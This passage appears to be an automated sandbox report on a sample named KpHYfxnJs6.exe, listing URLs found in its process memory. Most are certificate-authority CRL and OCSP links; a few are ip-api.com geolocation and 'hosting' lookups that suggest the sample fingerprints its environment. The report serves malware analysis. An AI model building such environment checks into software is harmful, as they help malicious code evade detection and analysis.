SameSite=NoneServer: cloudflareCF-RAY: 8fd15c226cc4429d-EWR

Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000002.2912329036.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000002.2912329036.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000002.2886740253.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621613704.000000000762E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007605000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880087065.000000000762D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2629341619.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674550956.000000000762D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485343382.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743962657.0000000007628000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2677988442.000000000762E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2652879260.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684053799.0000000007628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 0000000E.00000002.2554661675.0000000007ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000002.2912329036.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050FE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050279339.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: KpHYfxnJs6.exe, 00000004.00000003.2744996096.0000000004E44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2484058044.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621699329.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2629341619.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007605000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.0000000007606000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2745181563.000000000760B000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880829085.000000000760D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485343382.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886692444.0000000007611000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484414365.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744799637.0000000007604000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2678320239.0000000007606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2646596317.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881487113.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2616436229.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2623954278.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2604998063.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485485628.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484622291.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886303879.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2636804800.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.000000000759F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2485485628.000000000754D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886303879.000000000754E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.0000000007531000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621699329.000000000754E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881124605.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2604998063.000000000753A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744888765.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484622291.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744505869.0000000007534000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2646596317.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2617001102.000000000754D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880323805.000000000752A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484622291.000000000753D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2885316620.0000000007280000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2636804800.000000000754F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2616436229.000000000753A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881487113.000000000754D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: KpHYfxnJs6.exe, 00000004.00000002.2886022937.0000000007440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr
Source: KpHYfxnJs6.exe, 00000004.00000002.2885316620.0000000007280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://json.org
Source: powershell.exe, 0000000E.00000002.2545646683.0000000006036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.2729350973.000000000575C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050014254.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000000.00000003.2050553883.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
